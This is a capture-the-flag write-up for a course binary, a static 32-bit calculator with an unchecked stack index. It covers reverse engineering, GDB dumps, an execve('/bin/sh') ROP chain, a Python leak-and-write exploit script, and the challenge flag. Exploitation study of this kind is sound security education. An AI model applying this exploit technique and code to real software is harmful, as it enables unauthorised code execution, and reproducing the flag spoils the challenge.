calc Writeup
Problematic Calculator
First of all, the file name is “calc.exe”. But actually this binary is elf-32… What the heck XD
Play around with it! This calculator is problematic. It can only deal with arithmatic of positive number. For example, if you type:
-1+5
This will return 0
as a result, which is obviously not true. Also, trying
to type only 0
in the calculator, the error message will show up:
prevent division by zero
Another problem is that though it can do the elementary arithmetic, it only has
restricted capability of priority processing. For example, the expression
2*3+4*5
will return 26
. But 2*(3+4)*5
we still got 26
as
answer. This shows that the calculator cannot support complicated priority
issue of elementary arithmetic, say, priority that uses parenthesis. One level
priority is supported, however.
Okay, that’s enough. This weird calculator seems cannot support full functionalites of traditional calculator. To see how it processes the input, and the internal logic, one must use IDA Pro.
Look into The Program
The binary has five main functions:
calc()
: Main loop of the calculatorget_expr()
: Only allow specific character set ([+-*/%0-9]) to be written into the bufferinit_pool()
: Write zeros into the pool, trivialparse_expr()
: Poorly written parsereval()
: Do the operate on thei
and thei-1
element of the pool according to the operator
The key function is parse_expr()
. It has several weird parts such as:
- No boundary on the for loop
- Indexing by the argument which is in caller’s stack frame
According to the result of decompilation, the local variables in calc()
are
reside in the stack whose addresses are shown related to the esp
and
ebp
:
pool_t pool; // [sp+18h] [bp-5A0h]@5
char str[1024]; // [sp+1ACh] [bp-40Ch]@2
int stackguard; // [sp+5ACh] [bp-Ch]@1
Where the structure pool_t
might be like this:
struct pool_t {
int top;
int stack[100];
};
The calculation result of the expression will be stored at esp+0x1Ch
, which
is stack[0]
. And top
will always be 1. In calc()
, the value of
stack[0]
will be printed out using top
when top
is 1.
printf((const char *)&unk_80BF804, pool.stack[(unsigned int)((char *)pool.top - 1)]);
There seems no boundary checking on top
. By this property, memory leaking
could also be possible.
In eval()
, the function directly doing operation to two elements of the
array without checking the boundary. We might exploiting this weak point to
modify variable which is right before the array.
p->stack[(unsigned int)((char *)p->top - 2)] += p->stack[(unsigned int)((char *)p->top - 1)];
But how to use this? We all know that the most of operators acceptable in this
calculator are in the category of “binary operators”. Which means there must be
two operands between the operator. What if one of the operand is missing? Let’s
do some experiments through GDB. If the expression “9+10” is entered (assume
the breakpoint was set right behind call 0x804902a <parse_expr>
, i.e. after
the returning of parse_expr()
):
gdb-peda$ x/16xw $esp
0xffffd080: 0xffffd22c 0xffffd098 0x00000000 0x00000000
0xffffd090: 0x00000000 0x00000000 0x00000001 0x00000013
0xffffd0a0: 0x0000000a 0x00000000 0x00000000 0x00000000
0xffffd0b0: 0x00000000 0x00000000 0x00000000 0x00000000
The value of top
is 1 and the value of stack[0]
is 19. Then 19 will be
printed out because *(stack+top-1)
is 19. What if the expression entered is
“+5”?
gdb-peda$ x/16xw $esp
0xffffd080: 0xffffd22c 0xffffd098 0x00000000 0x00000000
0xffffd090: 0x00000000 0x00000000 0x00000005 0x00000005
0xffffd0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd0b0: 0x00000000 0x00000000 0x00000000 0x00000000
The calculation result will be 0 because stack+top-1
is 0xffffd0ac
,
whose value is 0.
More surprisingly, we can simply use “+5+1” this kind of expression to modify
the content of the specific memory location. And the result will still be the
content of stack+top-1
, which is 0xffffd0ac
. But its value is modified
by the expression.
gdb-peda$ x/16xw $esp
0xffffd080: 0xffffd22c 0xffffd098 0x00000000 0x00000000
0xffffd090: 0x00000000 0x00000000 0x00000005 0x00000005
0xffffd0a0: 0x00000000 0x00000000 0x00000000 0x00000001
0xffffd0b0: 0x00000001 0x00000000 0x00000000 0x00000000
Strategy
There are two facts which we gathered after analyzed the binary:
- Leak stack
- Write stack
So controling eip
through return address should be possible. Another good
news is that we don’t even have to worry about the stackguard because we are
capable to write return address rather than “overflowing” the stack buffer.
In the technique of stack buffer overflow, the canary (stackguard) will be
modified in order to overwritten the return address.
One interesting is that we modified the return address of calc()
in
parse_expr()
. In calc()
, the local variable in stack frame is passed
into parse_expr()
as an argument. Thus making the return address
modification of caller’s stack frame happened in callee’s stack frame.
Shellcode
First idea comes to my mind was putting shellcode in stack buffer. But
shellcode in stack[100]
will not work because every time a new round in
while loop begins, the stack[100]
will be re-initialized. And the raw input
we typed will be filetered (only [+-*/%0-9]), then saved into str[1024]
. So
storing shellcode in str[1024]
is not possible, either.
Return to LIBC
According to the hints TA provided, the program is compiled with static option.
That means “ret2libc” will not work because the library is compiled into the
program statically. There is no entry in the GOT of the program. This could be
checked by using file
command.
calc.exe: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux),
statically linked, for GNU/Linux 2.6.24,
BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not stripped
Also, objdump -R
will print the dynamic relocation entries of the program.
calc.exe: file format elf32-i386
objdump: calc.exe: not a dynamic object
objdump: calc.exe: Invalid operation
Return Oriented Programming
The program is compiled with static option, which means the possibility of
finding useful ROP gadgets are higher. The objective is to make a ROP chain
which calls execve("/bin/sh")
.
Exploitation
Using ROPgadget to find ROP gadget:
./ROPgadget.py --binary ~/secprog/calc.exe
Because the “/bin/sh” string resides in stack, ebx
needs to be the address
of the string, which is in stack. ASLR is enabled, so it is needed to poke for
the actual stack address. The text listed below is an example, real
exploitation should calculate the location of the string dynamically.
leak 0xffffd63c's value, modified to 0x080550d0 : xor eax, eax ; ret
leak 0xffffd640's value, modified to 0x080701d1 : pop ecx ; pop ebx ; ret
leak 0xffffd644's value, modified to 0x00000000 -> for pop ecx
leak 0xffffd648's value, modified to 0xffffd6ec -> for pop ebx
leak 0xffffd64c's value, modified to 0x080908d0 : mov eax, 7 ; ret
lead 0xffffd650's value, modified to 0x0807cb7f : inc eax ; ret
lead 0xffffd654's value, modified to 0x0807cb7f : inc eax ; ret
lead 0xffffd658's value, modified to 0x0807cb7f : inc eax ; ret
lead 0xffffd65c's value, modified to 0x0807cb7f : inc eax ; ret
leak 0xffffd660's value, modified to 0x08049a21 : int 0x80
leak 0xffffd6ec's value, modified to 0x6e69622f -> "/bin"
leak 0xffffd6f0's value, modified to 0x0068732f -> "/sh'\0'"
The return address is at esp+0x5ac
(ebp+0x4
). Its value should be
modified to the address of the first ROP gadget. Then the ROP chain starts to
work! The exploitation works like this:
- Poke
ebp+0x10
for the address of the string “/bin/sh”. - Set
eax
andecx
to 0. - Make
ebx
to be the value ofebp+0x10
. - Accumulate
eax
to 11 - Interrupt
- Put the string “/bin/sh” in the address which has already stored in
ebx
addrs = ['+361', '+362', '+363', '+364',
'+365', '+366', '+367', '+368',
'+369', '+370', '+405', '+406']
payloads = [0x080550d0, 0x080701d1, 0x00000000, 0x00000000,
0x080908d0, 0x0807cb7f, 0x0807cb7f, 0x0807cb7f,
0x0807cb7f, 0x08049a21, 0x6e69622f, 0x0068732f]
def pokestack(s):
s.send('+364\n')
binsh = int(s.recv(1024))
payloads[3] = binsh # dynamically update addr of /bin/sh
def rop(s):
for i in range(12):
print '[!] target: %s' % hex(payloads[i])
s.send(addrs[i]+'\n')
mleak = int(s.recv(1024))
print '[!] leak: %s' % hex(mleak)
offset = payloads[i]-mleak
print '[!] offset: %d' % offset
g = '%s%+d\n' % (addrs[i], offset)
print '[+] send: %s' % g
s.send(g)
print '==> %s\n=================' % hex(int(s.recv(1024)))
s.send('\n')
Flag
SECPROG{C:\Windows\System32\calc.exe}